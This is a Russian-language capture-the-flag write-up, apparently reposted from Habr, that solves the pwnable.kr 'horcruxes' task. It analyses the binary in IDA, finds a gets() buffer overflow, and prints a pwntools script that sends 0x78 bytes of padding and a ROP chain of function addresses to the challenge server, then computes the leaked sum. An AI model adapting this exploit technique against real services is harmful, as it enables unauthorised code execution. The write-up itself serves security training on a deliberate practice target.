- PVSM.RU - https://www.pvsm.ru -
В данной статье решим 21-е задание с сайта pwnable.kr [1], направленное на составление ROP-цепочки.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram [2] и группу для обсуждения любых вопросов [3] в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем [4].
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Не вижу смысла описывать что такое возвратно-ориентированное программирование, так как в этой статье [5] все очень подробно описано.
Нажимаем на иконку с подписью horcruxes, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Есть файл readme, посмотрим, какое послание нам оставили.
Сообщают, что программа работает на порте 9032. Нам не дают исходный код, поэтому загрузим программу себе.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/
Запустим в IDA и декомпилируем ее. Есть три интересные функции: hint, init_ABCDEFG и ropme.
Судя по названию, функция hint должна содержать подсказку. Посмотрим ее.
Сказано, что нужно пройти 7 уровней. Что ж, давайте глянем на ropme.
Уже интересней. Программа считывает число и если оно равно определенному эталонному значению, то вызывается функция, которая выводит это значение. И так 7 значений.
Если совпадений небыло, то нас просят ввести строку, которая сравнится с переменной sum. Так, давайте глянем на init_ABCDEFG.
Здесь происходит инициализация эталонных значений, которве генерируются рандомно. А sum является суммой этих чисел.
С программой разобрались. В подсказке к заданию сказано про ROP. Идея следующая, нам нужно вызвать все 7 функций, чтобы знать эталонные значения, а потом еще раз вызвать ropme, чтобы передать сумму этих значений.
Благодаря функции gets мы можем перезапись адрес возврата цепочкой адресов. Вычислим количество байт до адреса возврата.
Таким образом нам нужно передать программе нужно передать 0x78 байт заглушки, а потом подряд 8 адресов функций. В IDA найдем адреса наших функций.
А теперь напишем эксплоит.
rom pwn import *
payload = "A" * 0x78
payload += p32(0x0809fe4b)
payload += p32(0x0809fe6a)
payload += p32(0x0809fe89)
payload += p32(0x0809fea8)
payload += p32(0x0809fec7)
payload += p32(0x0809fee6)
payload += p32(0x0809ff05)
payload += p32(0x0809fffc)
con = remote("pwnable.kr", 9032)
con.recv()
con.recv()
con.send("123" + "n")
con.recv()
con.send(payload + "n")
con.recv()
ans = con.recv().split('n')
sum_result = 0
for i in range(1,8):
sum_result += int(ans[i].split('+')[1].split(')')[0])
con.send("123" + "n")
con.send(str(sum_result) + "n")
Получаем искомый флаг и завершаем первую часть заданий на pwnable.kr.
Вы можете присоединиться к нам в Telegram [2]. В следующий раз разберемся с переполнением кучи.
Автор: RalfHacker
Источник [6]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/programmirovanie/327086
Ссылки в тексте:
[1] pwnable.kr: https://pwnable.kr/index.php
[2] канал в Telegram: https://t.me/RalfHackerChannel
[3] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat
[4] рассмотрю лично и отвечу всем: https://t.me/hackerralf8
[5] этой статье: https://habr.com/ru/post/255519/
[6] Источник: https://habr.com/ru/post/463737/?utm_campaign=463737&utm_source=habrahabr&utm_medium=rss
Нажмите здесь для печати.